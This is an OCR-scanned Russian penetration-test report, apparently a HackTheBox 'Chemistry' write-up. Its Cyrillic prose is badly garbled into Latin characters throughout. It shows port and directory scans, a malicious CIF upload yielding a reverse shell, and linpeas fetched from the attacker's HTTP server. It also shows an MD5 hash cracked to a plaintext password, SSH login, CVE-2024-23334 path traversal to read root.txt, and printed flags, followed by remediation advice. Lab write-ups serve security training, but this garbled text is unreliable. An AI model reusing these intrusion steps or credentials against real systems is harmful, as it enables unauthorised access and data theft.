OTtyer

¢/ WcnonHuutensb

TecTnpoBaHue BbinosiHeHO KpaBuoBbiM Hukonaem, HaYMHaoLWyiM creuuanmcTom no
MHpopmaumoHHoM 6e3onacHOCTM

ObnacTtb TeCTUpOBaHUA N UCNOSIb30BaHHbIE CIYXObl.

IP/nomeH Mopt CepBUC CepBuc ueneBoro cepeepa
localhost 5901 WinKexServer -

localhost - Nmap Port Scanner -

localhost - GoBuster Directory Fuzzing

localhost 8000 Python Simple Http Server

localhost 1234 Reverse Shell Listener -
localhost Obsidian Notes -
10.10.11.38 5000 Flask Web Server +
10.10.11.38 22 SSH +
10.10.11.38 8080 Flask Web Server (alt) +

Ucnonb3oBaHHbIe hannbi:

LinPEAS.sh (PEASS-ng/linPEAS S )-cKpunT, KOTOPbIN ULLET BO3MOXXHbIE NYTU NMOBbILLEHUS
npmsuneruin Ha xoctax Linux/Unix*/MacOS.
poc.sh (CVE-2021-3560) - npocto Bash PoC-ckpuvnT, KOTOpbI aBTOMaTU3MPYET LLar no

aKcnnyaTauum, ynomsiHytele B oriore KesuHa bakxayca. NpouutarTe ero noct o6 atomn
ya3suMocTy: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/.

user.txt - corar.
root.txt - donar.

NMopsapok aencremnm

1) 3anyck kex ons npocmoTpa AUpPEKTOpUn


https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS
https://github.com/secnigma/CVE-2021-3560-Polkit-Privilege-Esclation/tree/main
https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/

* Kkex ——win
2) CkaHupoBaHue NOPTOB C NOMOLLLIO hmap.

* PesynbTaThl:

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.2pl1 Ubuntu dubuntu®.11 (Ubuntu Linux;
protocol 2.0)

| ssh-hostkey:

| 3072 b6:fc:20:ae:9d:1d:u45:1d:0b:ce:d9:d0:20:f2:6f:dc (RSA)

| 256 fl:ae:1c:3e:1d:ea:55:4U:6c:2f:f2:56:8d:62:3c:2b (ECDSA)

|_ 256 94:42:1b:78:¥2:51:87:07:3e:97:26:c9:a2:5c:0a:26 (ED25519)
2000/tcp open nagios-nsca Nagios NSCA

5000/tcp open upnp?

| fingerprint-strings:

|  GetRequest:

| HTTP/1.1 200 OK

| Server: Werkzeug/3.0.3 Python/3.9.5

| Date: Thu, 07 Nov 2024 12:57:45 GMT

| Content-Type: text/html; charset=utf-8

| Content-Length: 719

| Vary: Cookie

| Connection: close

| <!DOCTYPE html>

| <html lang="en">

| <head>

| <meta charset="UTF-8">

| <meta name="viewport" content="width=device-width, initial-scale=1.0">

| <title>Chemistry — Home</title>

| <link rel="stylesheet" href="/static/styles.css">

| </head>

| <body>

| <div class="container">

| class="title">Chemistry CIF Analyzer</hl>

| <p>Welcome to the Chemistry CIF Analyzer. This tool allows you to upload a
CIF (Crystallographic Information File) and analyze the structural data
contained within.</p>

| <div class="buttons">

| <center><a href="/login" class="btn">Login</a>

| href="/register" class="btn">Register</a></center>
| </div>

| </div>

| </body>

| RTSPRequest:

| <!DOCTYPE HTML PUBLIC "-//wW3C//DTD HTML 4.01//EN"



| "http://www.w3.org/TR/htmld/strict.dtd">

| <html>

| <head>

| <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
| <title>Error response</title>

| </head>

| <body>

| <hl>Error response</hl>

| <p>Error code: 400</p>

| <p>Message: Bad request version ('RTSP/1.0').</p>

| <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or
unsupported method.</p>

| </body>

| _ </html>

3) 3anyck gobuster ana noucka aoupeKkTopumn

* PesynbTaThl:

Gobuster v3.6
by 0J Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] url: http://10.10.11.38:5000/

[+] Method: GET

[+] Threads: 10

[+] Wordlist: directory-list-2.3-medium.txt
[+] Negative Status codes: 404,301

[+] User Agent: gobuster/3.6

[+] Timeout: 10s

Starting gobuster in directory enumeration mode

/login (Status: 200) [Size: 926]
/register (Status: 200) [Size: 931]
/upload (Status: u05) [Size: 153]
/logout (Status: 302) [Size: 229] [-—> /login?next=%2Flogout]

Progress: 1769 / 220561 (0.80%)[ERROR] Get "http://10.10.11.38:5000/301":
context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://10.10.11.38:5000/2u41": context deadline exceeded
(Client.Timeout exceeded while awaiting headers)

[ERROR] Get "http://10.10.11.38:5000/al": context deadline exceeded
(Client.Timeout exceeded while awaiting headers)

Progress: 1772 / 220561 (0.80%)[ERROR] Get
"http://10.10.11.38:5000/administration": context deadline exceeded



(Client.Timeout exceeded while awaiting headers)"C
[!] Keyboard interrupt detected, terminating.
Progress: 1954 / 220561 (0.89%)

Finished

4) 3axoaum Ha BeO6 cepBep U CMOTPUM Ha CTpaHuuy register.

5) Huyero uHTEepecHoOro si He Hawien, NO3TOMYy NPOCTO
3aperucTpupoBarncs.

PesynbTart:

Dashboard

Please provide a valid CIF file. An example is available here

| Browse... | No file selected.

Upload

Your Structures

N

6) NMonpobGyem 3arpy3unTb hann, KOTOPbIN MOXET co3aaTb
NPOM3BOSIbHO BbIMONMHEHNEe KOMaHA.

MNonbITKK:




PesynbTart:

b4 M Notsecure  10.10.11.38:5000/

Method Not Allowed

The method is not allowed for the requested URL.

7) A1 nonpo6oBan npocTo ckayaTb hann example.civ n 3arpy3uTb ero
oGpaTHo.

KomaHpa:

File Upload

Recent Downloads

» 0 ¢

Home Name ~ Size Type Modified
Desktop B example.cif 376bytes Text 16:25

Documents
Downloads
Music
Pictures

Videos

+ 0 0 ak+=wI

Other Locations

AllFiles =

@ Cancel [ Open




PesynbTart:

Dashboard

Please provide a valid CIF file. An example is available here

| Browse... | No file selected.

Upload

Your Structures

example.cif View

8) A pymato, yTO Hapo 3arpyxartb ¢pamn ¢ nanku "downloads”.
NMonpobyem Tak u caenartb.

KomaHpa:

— — [ ~

—% mv wvuln.civ ~/Downloads/

—% 1s Downloads/
example.cif wuln.civ




File Upload

Recent 4  # kolyaO80808  Downloads

> 0O

Home Name - Size Type Modified
Desktop B example.cif 376 bytes Text 16:25
Documents B wuln.civ 554 bytes Text 16:16
Downloads

Music

Pictures

3 al«w 1

Videos

Mo file selectec

+

Other Locations

All Files »

@ Cancel [& Open

PesynbTart:

Dashboard

Please provide a valid CIF file. An example is available here

| Browse... | Mo file selected.

Upload

Your Structures

example.cif View m

9) Ctabunusmnpyem KOMaHAHYH CTPOKY, MOCMOTPUM KTO Mbl U1 4TO Mbl
MOXeM caenathb:

KommaHabi:



python3 -c 'import pty;pty.spawn("/bin/sh")'

$ export TERM=screen

export TERM=screen

$ bash

bash

app@chemistry:~$ 1s

s

'&' app.py g.sh linpeas.txt shell.sh templates
'&1' CVE-2021-3560.py instance pwned static test
app@chemistry:~$ whoami

whoami

app

app@chemistry:~$ id

id

uid=1001Capp) gid=1001(app) groups=1001(app)

app@chemistry:~$

#HH# 10) A Buwy dann linpeas.txt. A nyywe 3arpysy CBON U MpPoOBepw BCH CUCTEMY.
— KommaHpb! :
- Hawa cuctema:
" " “bash
[:—(kolya080808€9Nikolapc)—[~/Downloads]
$ ip as
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group
default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_1ft forever preferred_lft forever
2: eth@: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group
default glen 1000
link/ether 00:15:5d:dc:1f:b0 brd ff:ff:ff:ff:ff:ff
inet 172.20.98.80/20 brd 172.20.111.255 scope global eth®
valid_1ft forever preferred_lft forever
inet6 fe80::215:5dff:fedc:1fb0/6U4 scope link
valid_1ft forever preferred_lft forever
3: tun®: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state
UNKNOWN group default glen 500
link/none
inet 10.10.16.27/23 scope global tun®
valid_1lft forever preferred_lft forever
inet6 dead:beef:u::1019/64U scope global
valid_lft forever preferred_lft forever
inet6 fe80::7ble:6d54:61d:3a65/64 scope link stable-privacy



valid_1ft forever preferred_lft forever

[:—(kolya080808€9Nikolapc)—[~/Downloads]
$ w4

|_——(kolya989898®Nikolapc)-[~]

$ python3 -m http.server

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/)

10.10.11.38 - - [07/Nov/2024 16:U40:16] "GET /privesc/linpeas.sh HTTP/1.1" 200 -

Nx cuctema:

‘privesc/linpeas.sh
h

3:48:23 (185 KBfs) - flinpeas.s

appiwchemistry:~%

11) MocmoTtpum, 4To Ham Bbiaan linpeas(TonbKO camoe UHTepecHoe):



KomaHgbi:

app@ichemistry:~% chmod +x linpeas.sh

chmod +x ; sh
appgche ryte$ L flinpeas.sh
flinpeas.s

-

Get the latest wersion
Follow on Twitter
Respect on HTB

by carlospolaop

PesynbTart:

Yulherable to CWE-2821-3560

12) Tenepb nocMoTpuUM hanrnbl NPUNOXKEHUS:



KomaHgbi:

ufolnde" user_luserE3BEEEEEStablestructurestructureBlCREATE TABLE structure
MULL,

user_1d INT c
filename WARC 156 OT MULL,

identifier (18 0T

REFEREMNCES user

EEEEUlLtOFia EEEpeter

4 EEIEES ppEE
14f1d4f4'

PesynbTtar:

Enter up to 20 non-salted hashes, one per line:

F
- A He po6ioT R

reCAPTCHA

Kauhnaeuunansnacrs - Yonagna nenankza sanna

Supports: LM, NTLM, md2, mdd, mdS, mdS{rmd5_hex}), mdS-half, shal, sha224, sha256, sha384, shaS12, ripeMD160, whirlpoal, MySQL 4 .1+ (shalishal_bin)),
Qubesy3 1BackupDefaults

Hash Type Result

63edBhecdfa24c7hl4fld4f43dc251a5 ” md5S ” unicorniosrosados

Color Codes: Breens Exact match, Yellow: Partial match, [EEl Mot found.

13) YTOObLI ObINO Nerye, nomeHsn reverse shell Ha ssh:

PesynbTtar:

L—(kolya@SGSGS@Nikolapc)—[N]
$ rosa@10.10.11.38

The authenticity of '10.10.11.38 (10.10.11.38)' can't be established.



ED25519 key fingerprint is SHA256:pCTpVOQcjONI3/FCDpSD+5DavCNbTobQqcaz7PC6S8K.
This key is not known by any other names.

Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.38' (ED25519) to the list of known hosts.
r0sa@l0.10.11.38's password:

Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-196-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com

* Support: https://ubuntu.com/pro

System information as of Thu 07 Nov 2024 01:57:58 PM UTC

System load: 0.7 Processes: 263

Usage of /: 77.1% of 5.08GB  Users logged in: 1

Memory usage: 35% IPvU4 address for ethO: 10.10.11.38
Swap usage: 0%

* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
just raised the bar for easy, resilient and secure K8s cluster deployment.

https://ubuntu.com/engage/secure-kubernetes-at-the-edge
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
9 additional security updates can be applied with ESM Apps.

Learn more about enabling ESM Apps service at https://ubuntu.com/esm

The list of available updates is more than a week old.

To check for new updates run: sudo apt update

Failed to connect to https://changelogs.ubuntu.com/meta-release-1ts. Check your
Internet connection or proxy settings

Last login: Thu Nov 7 13:50:18 2024 from 10.10.14.40
rosa@chemistry:~$

14) Yutaem donar:

* Pesynbrar:



rosa@chemistry:~$ 1s

user. txt

rosa@chemistry:~$ cat user.txt
011fbU6669f+3d0d7ffcbc911cc56+36

15) A nonbiTanca npoyecTb /etc/shadow:

* PesynbTar:

rosa@chemistry:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games: /usr/games: /usr/sbin/nologin
man:x:6:12:man:/var/cache/man: /usr/sbin/nologin
lp:x:7:7:1p:/var/spool/lpd: /usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news: /usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www—data:x:33:33:www—data:/var/www: /usr/sbin/nologin
backup:x:34:3U:backup:/var/backups: /usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd: /usr/sbin/nologin
gnats:x:41:41:Gnats Bug—Reporting System
(admin):/var/lib/gnats:/usr/sbin/nologin

nobody : x:6553U:6553U:nobody : /nonexistent: /usr/sbin/nologin
systemd-network:x:100:102:systemd Network

Management, ,, :/run/systemd: /usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time
Synchronization, ,, :/run/systemd:/usr/sbin/nologin

messagebus:x:103:106: : /nonexistent:/usr/sbin/nologin
syslog:x:104:110: : /home/syslog: /usr/sbin/nologin
_apt:x:105:65534: : /nonexistent: /usr/sbin/nologin

tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd: /usr/sbin/nologin

tcpdump:x:108:113:: /nonexistent: /usr/sbin/nologin
landscape:x:109:115:: /var/lib/landscape: /usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
fwupd-refresh:x:111:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:113:65534: : /run/sshd: /usr/sbin/nologin



systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
rosa:x:1000:1000:rosa: /home/rosa:/bin/bash
1xd:x:998:100: : /var/snap/1xd/common/1xd: /bin/false

app:x:1001:1001:,,,:/home/app:/bin/bash
_laurel:x:997:997::/var/log/laurel: /bin/false
rosa@chemistry:~$ /etc/shadow

cat: /etc/shadow: Permission denied

16) Tenepb 6yaem aby3uTb Ty yA3BUMOCTb, KOTOPYHO Mbl HalWsu B
nyHkte 11):

quaH,u,bl:

d.
ed Automatically

ENABLED!
ecks...

cally detect the possible time and

nigma*

d.
ed Automatically

ENABLED!
ecks. ..

BoiBoA;
Hapgo coenaTb 4TO-TO Apyroe.

17) NMocmoTpum 3anyLieHHble B CeTU CNyX0Obl:



KomaHga v pesyrnbTart:

Foreign Addre

LISTEN
LISTEN

LISTENIH fru ! o gent.
LISTEMIH I ‘kernel/linu E ‘multipathd
LISTEMIH u f i) h
LISTENIH
LISTEMNIH
LISTENIH
LISTEMIH
LISTEMIH
LISTENIH
LISTEMNIH
LISTENIH
STREAM LISTEMIH
STREAM LISTEMIH
LISTENIH
LISTEMNIH
LISTENIH
LISTEMIH
LISTEMIH

Mbi ncnons3osanm CVE-2024-23334. Ypal!

18) Hy n untaem root.txt:

Pesynbrtar:

£ EUPL ath ttp:sf ' ' /froot froot . txt
1161c3bobhec? 7

¢/ MpumevaHue
Mo>kHO ObI1r10 pacwmdpoBaTh X3LL, HO 3a4eM TakK NApPUTbLCA?)

Cnacubo HackTheBox 3a Takyto npekpacHyto komHaTy!!!

HampeHHble ya3BUMOCTH

File Upload



PoC:

Dashboard

Please provide a valid CIF file. An example is available here

| Browse... | No file selected.

Upload

Your Structures

example.cif View

CVSSv3 Score: 9.9 (Critical)

OnucaHue:

CepBep no3BordeT 3arpyxatb oansnbl 6e3 JOIMKHOW NPOBEPKM COAEPKaHUS. DTO MOXET
NPUBECTU K TOMY, YTO 3M10YMbILLINEHHVK 3arpyxaeT cKpunT ¢ reverse shell, KoTopbln npeacTaBnaer
cobov nporpamMmy, NO3BOSAIOLLYIO aTaKyloLEeMy NoMy4uUTb yaareHHbIn JOCTYM K cepBepy vepes
ceTb. Tak e 9TO MOXET MPUBECTU K NOTEPE AaHHbIX.

Bon poundseaeHune ya3BMMOCTU.



— | — | -

—% mv vuln.civ ~/Downloads/

L-¢ 1s Downloads/
example.cif wuln.ciwv

File Upload

Recent < # kolyaD80808  Downloads

> 0

Home Name Size Type Modified
Desktop B example.cif 376 bytes Text 16:25
Documents B vuln.civ 554 bytes Text 16:16
Downloads
Music

Pictures

L e B

Videos

No file selected.

+

Other Locations

AllFiles =

@ Cancel [ Open

PekomeHpaumm no ycTpaHeHUIo:

He orpaHnunBanTecb NPOBEPKOW pacLLMPEHUSI — aHanM3MpyTe cogepxmmoe daina, Ytobbl
ybeauTbCsl, YTO OH AENCTBUTESIbHO COOTBETCTBYET AOMYCTUMOMY TUNY.

Ybeautech, 4To (hairbl HE coaepXXaT UCMOSTHAEMbIN KoL,

CoxpaHanTe 3arpyeHHble hairbl B AMPEKTOPUN, KOTOpasa He MOXET ObiTb 3anyLieHa Be6-
cepBepoM (Hanpumep, BHE KOPHEBOW ANPEKTOPUM canTa).

HacTtpowute cepBep Tak, 4Tobbl (haisnbl He MOrmm 6bITb HANPAMYHO 3anyLLUEHbl UM UCTIOSTHEHbI .
PaccmoTpute ncnosnb3oBaHue KoHTeHepusaumm (Hanpumep, Docker) nnn TexHonormm
BUpPTYyanmsaLmm ans BbiNOSHEHMSI NOSb30BaTENbCKOro KoAa B M30SMPOBaHHbIX cpedax.



Remote Code Execution

PoC:

python3 -c 'import pty;pty.spawn("/bin/sh")"
$ TERM=screen
TERM=screen

app@chemistry:~$

'&! app.py g.sh linpeas.txt shell.sh templates
'&1! CVE-2021-3560.py instance pwned static
app@chemistry:~$

app
app@chemistry:~$

uid=1001Capp) gid=1001(app) groups=1001(app)
app@chemistry:~$

RCE BO3HMKaeT, KOrpga 3/0yMbl/IEHHUK MOXET 3aCTaBUTb CepBep BbiMOJIHUTb MPOU3BOJIbHLIN
kon (O6bIMHO KOMAHAHLIN WMAKM CKPUMTOBLIN) Ha CTOpOHe cepBepa. B paccmaTpuBaemom
cueHapuu c 3arpyskoi tainna reverse shell u nocnegywowum AOCTYNOM Yepes3 CCbUIKY ANS
MCNOMHEHUS MPOU3BOJbHLIX (ANIOB.

" http
[:—(kolya080808€§Nikolapc)—[~/Downloads]

$ -s http://10.10.11.38:5000/structure/a77363e6-7bcU-Ulf5-bOad-
9bud25c33324

PekomeHpauuu no YCTPAHEeHUIO:

MVHMU3NPYITE UCMOSb30BaHNE CUCTEMHBIX KOMaH4: 36erante npamMoro ncnosi30BaHns
KOMaHZHOW CTPOKM (Hanpumep, Yepes exec, system, shell_exec B PHP vrm subprocess
B Python). Bceraa ctapawrtech ncnonb3oBaTh BCTPOEHHbIE OYHKLMN, BMECTO TOrO YTOObI
BbINOMHATL KOMaHOb! OnepaLnoHHON CUCTEMBI.

MuHuMmsauus npmBunermin: Hactponte MuHUMarnbHO HeOBXxoavMble nNpasa Ans NPUOXEeHW
1 Nonb30BaTtenen, KOTopble MOryT B3auMoAeNCTBOBaThb C cepBepoM. Ybeaurech, 4To Beb-



NpUroXeHusi paboTatoT C MUHUMarbHbBIMU NpaBamu, YTOBbl OrpaHNYUTL JOCTYMN K CUCTEMHBIM
KomMaHgam v cpanrnam.

N3onauma ¢ NOMOLLBIO KOHTEVHEPOB UMM BUPTYaribHbIX OKPYXeHu: PaccmoTpute
ucnosb3oBaHve koHTerHepoB (Docker, LXC) nnm BupTyarnbHbIX MalwmH Ans BbIMOSIHEHUS
KoAda B U3ormMpoBaHHoM cpefe. [laxke ecrnm 3royMbl LWIEHHWK MOSy4UT JOCTYM, 3TO OrpaHnIuT
ero JencTBMA KOHTENHEPOM WM BUPTYasibHOW CpesoMn.

Information Disclosure

PoC:

Enter up to 20 non-salted hashes, one per line:

3

R

reCAPTCHA

5120 HA HENGN LTI DK

Supports: LM, NTLM, md2, md4d, mdS, mdS{md5_hex), mdS-half, shal, sha224, shaz56, sha3g4, shaS1z, ripeMD160, whirlpoal, MySQL 4.1+ (shal{shal_bin)},
Qubesv3.1BackupDefaults

Hash Type Result

E3ed86eedfA24c7b14f1daf43de 25145 ”mdS || unicerniosresados

color Codes: BFEENY Exact match, Yellow: Partial match, EEEl Mot found.

CVSSv3 Score: 9.9 (Critical)

OnucaHue:

Information Disclosure B gaHHOM cry4ae cBsizaHa ¢ 4OCTyn K 6ase JaHHbIX Nofb3oBaTens,
KOTOPbIN HE AOJSDKEH MOSYYUTb K HEWN JOCTYN. To eCTb Nofb30oBaTeNb app CMON MOMy4UTb JOCTYN K
¢anny database.db, KoTopbI B CBOIO 04epenb XpaHUT Naposiv onpeerneHHbIX norb3oBaTternen,
MCMOSb3YOLLMX OHWN U TE Ke Maposim AN pasHbIX CEPBUCOB.

BocnpousBegeHue ysa3BUMOCTM:



-pprheml tryief ls

exploit.zh

MULL,
MULL,

ite . sufnlnde“ user luserB3BEEEEEStablestructurestructureBCREATE TABLE structure
id INTEGER WNOT MULL,
user_1d INTEGER MNOT MULL,
filename WARC i 0

identifier

EEEEUlLtoria EEEpeter

sdminapp@chemiztry:~fin5tance$ rosatliedBteedfE24c7b 14 1d4+43dc25 1ak

251
+ld4+4.d 251 If: command not found
stancep

PekomMeHAauMm no yCTpaHeHUIo:

[MpoBepbTe M HACTpoKUTE NpaBa JOCTyna K anny database.db , YyToObl 4OCTYN K HEMY UMEMM
TOSbKO T€ NPOLECChl U NOMb30BaTeN, KOTOPbIM OH HEOBX0aUM.

OrpaHnybTe NpaBa nosnb3oBaTtens app , YTOObl OH HE MMeN JOCTYNa K KOHUAeHUMabHbIM
AaHHbIM 1 dhannam, Takum Kak database.db .

Mcnonb3ynte npyHUmMN MUHUMAarbHbIX NPUBUIETWA: AOCTYN K 6a3e AaHHbIX JOSPKEH
NpefocTaBnATLCS TONMbKO TEM YaCTSM NPUIIOXEHNS, KOTOPbIE ero 4eNCTBUTENBHO TPebytoT.

MNepemectute database.db B 3aWMLEHHYIO OUPEKTOPUIO C OFPaHUYEHHBIM LOCTYMOM,
KOoTOpas HaxoauTcAa BHE 30Hbl AOCTYNa Nosfb30BaTerns NPUIioXKeHns.

HacTpowTte npaBa goctyna Ha oanrnoBom CUCTEME, YCTAHOBYB XECTKME OrpaHNYEHMs Ha
YTEHWE 1 3anncb AaHHbIX B ©6ase, YToObl TONMbKO onpeaerieHHbIe NPOoLEeCChl MO
obpawaTbes K channy.
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CVSSv3 Score: 9.9 (Critical)

OnucaHme:

YassumocTb Tuna "path traversal" B 6Gubrmoteke AioHTTP no3BonseT 3roymbILLNEHHVKY NOMyYUTb
[AOCTYN K NPOU3BOSIbHBIM hanram Ha cepBepe, MaHunyrmpya annoBbIMy NYTAMW. STO MOXET
NPUBECTU K HECaHKLMOHMPOBAHHOMY AOCTYrY K KOH(UAEHUMansHbIM dpanram v JaHHbIM,
Haxo4sALWMMcs 3a npegenamun JOonycTUMOWN OUPEKTOPUN.

Bocn poundBeaeHune yaA3BMMOCTU.
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PekomeHpauuu no YCTPAQHEeHUIO:

Yb6epautechb, 4Yto ucnosnb3yemasi sepcusa AioHTTP ob6HoBrieHa 4o nocrneaHen, Tak Kak
pa3paboTymKkn MOryT BbIMyCTUTb NAaTY, YCTPAHAOLLMN JAaHHYI0 YA3BMMOCTb. PerynsipHoe
OBHOBIIEHME CTOPOHHMX BUBIMOTEK CHKAET PUCK SKCMIyaTaLmn U3BECTHbIX YS3BMMOCTEN.

M cnonb3yinte xECTKO 3agaHHble un "xecTko 3akoanpoBaHHbie" nytu (hard-coded paths) ana
hanrnos, K KOTOPbIM JOSTKEH ObITb AOCTYN, U 3anpeLianTe rnobble NyTy, onpeaensemMble
nosb3oBaTenamMu.

N3berante amHammuyeckoro opMmupoBaHmsa NyTen Ha OCHOBE MOJSb30BaTeNb CKUX JAaHHbIX
WM TLLATESNbHO NPOBEPANTE U OYULAWTE Takme nyTi, YToObl y0eanTbCs, YTO OHU He
cogepxat nocregoBaTenbHOCTEN ../ WM OPYriX CUMBOJSIOB, MO3BOSIAIOLLMX BbINTY 3a
npeaensl KOPHEBOW ANPEKTOPUN.
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